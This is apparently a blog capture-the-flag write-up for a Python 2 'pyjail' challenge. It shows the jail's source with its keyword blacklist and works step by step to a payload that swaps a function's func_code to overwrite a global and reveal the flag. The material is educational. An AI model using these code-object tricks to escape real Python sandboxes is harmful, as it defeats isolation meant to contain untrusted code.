Problem
There is service listening on remote host and service's source:import re
import sys
import string
from sys import stdout
sys.stderr = stdout
sanitize = re.compile(
r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
).sub
trusted_builtins = """
True False type int
""".split()
alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'
t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
if i in alphabet:
t2.append(i)
else:
t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))
EXPECTED = 13.37
del alphabet, t1, t2, i, sys, string, re
def clear_builtins():
orig = __builtins__.__dict__.copy()
__builtins__.__dict__.clear()
for i in trusted_builtins:
__builtins__.__dict__[i] = orig[i]
part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'
def main():
if raw_input() != 'leetleetleetleet':
return
print ('Welcome to pyjail!\n\n'
'Try to get the flag!\n'
'Use ctrl+D or --- to submit your code\n')
stdout.flush()
code = []
total_bytes = 0
while True:
try:
value = raw_input()
total_bytes += len(value)
assert total_bytes < 1337
if value == '---':
break
code.append(value)
except EOFError:
break
code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
clear_builtins()
def sandbox():
t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0
def exec_in_context(ctx):
exec code in ctx
print 'Flag is',
try:
assert FLAG != part1_of_flag
print FLAG
except:
print '********************'
def we_must_be_sure_flag_part1_is_ready():
global FLAG
FLAG = part1_of_flag
def we_must_be_sure_flag_part2_is_ready():
global FLAG
FLAG += part2_of_flag
def divider(v1):
a = "You are lucky!"
b = "Try again!"
def divider(v2):
i,t,s, n,o,t, s,o, h,a,r,d
if int(v1) / int(v2) == EXPECTED:
print a
we_must_be_sure_flag_part2_is_ready()
else:
print b
we_must_be_sure_flag_part1_is_ready()
return divider
exec_in_context({'div': divider})
sandbox()
if __name__ == '__main__':
main()
We have to escape from jail. But we can use just 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{} and we can't use __, import, globals, locals, exec, eval, join, format, replace, translate, try, except, with, content, frame, back. I'm newbie at python so it takes many time of me to guess how divider() works (=. First of all we have to post leetleetleetleet to server. Now we can post some code and it will be execd. But globals are not available exclude divider() function that can be called by div(). It returns function that divide two numbers converted to int. So we need to call div(a)(b). If int(a)/int(b)==13.37 (EXPECTED variable) then we will get the flag. But in python result of dividing two int is int. So int(a)/int(b) can not be 13.37 (float)! Ok. Let's try to overload int().
def int(a): return float(a) div(1337)(100) ---
We haven't access to globals so we can't overload int. Maybe we can change environment variables for function which we call? After a short googling I found what I was looking for. With div.func_globals we can change EXPECTED for div() function. But "globals" is restricted word. There is another interesting attribute - func_code. Maybe we can change code of divider()? Let's try to write simple test on localhost.
SOMEVAR = 13.37
def sandbox():
def myfunc():
global SOMEVAR
print SOMEVAR
def printsomevar():
global SOMEVAR
print SOMEVAR
exec 'printsomevar()\ndef test():\n global SOMEVAR\n SOMEVAR=1\ndiv.func_code=test.func_code\ndiv()\nprintsomevar()' in {'div': myfunc, 'printsomevar': printsomevar}
sandbox()
We were given following string to exec:
printsomevar() def test(): global SOMEVAR SOMEVAR=1 div.func_code=test.func_code div() printsomevar()
Result::
13.37 1Wow! Looks like that's right way! Let's try to post it to server.
a=div.func_code # this EXPENDEND just have same name as EXTENDED which defined in jail EXPECTED=12 def test(): global EXTENDED EXTENDED=1 div.func_code=test.func_code div() div.func_code=a; div(1)(1)Fail. divider() function have 10 freevars, not 0. Ok. Let's fix it.
def sandbox():
a=b=c=d=e=f=g=h=i=j=0
p=div.func_code;
def test():
global EXPECTED
EXPECTED=1
a,b,c,d,e,f,g,h,i,j
div.func_code=test.func_code
div()
div.func_code=p
div(1)(1)
sandbox()
---
Yohoho! We have escaped from jail! And there is our flag.
No comments:
Post a Comment